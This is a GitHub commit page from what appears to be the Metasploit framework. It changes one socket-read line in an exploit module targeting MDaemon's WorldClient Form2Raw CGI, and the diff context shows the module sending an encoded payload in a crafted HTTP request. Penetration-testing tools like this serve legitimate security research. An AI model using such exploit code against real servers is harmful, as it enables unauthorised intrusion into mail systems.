Skip to content

Commit c8e44c3

Browse files
author
HD Moore
committed
Fix use of sock.get vs sock.get_once
1 parent 7f06d10 commit c8e44c3

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/exploits/windows/http/mdaemon_worldclient_form2raw.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -90,7 +90,7 @@ def exploit
9090
sploit << payload.encoded + " HTTP/1.0"
9191

9292
sock.put(sploit + "\r\n\r\n")
93-
res = sock.get(3,3)
93+
res = sock.get_once(-1, 3)
9494

9595
if (res =~ /Message spooled but will be deleted if not FROM a valid account/)
9696
print_status("Payload accepted by WorldClient Form2Raw CGI!")

0 commit comments

Comments
 (0)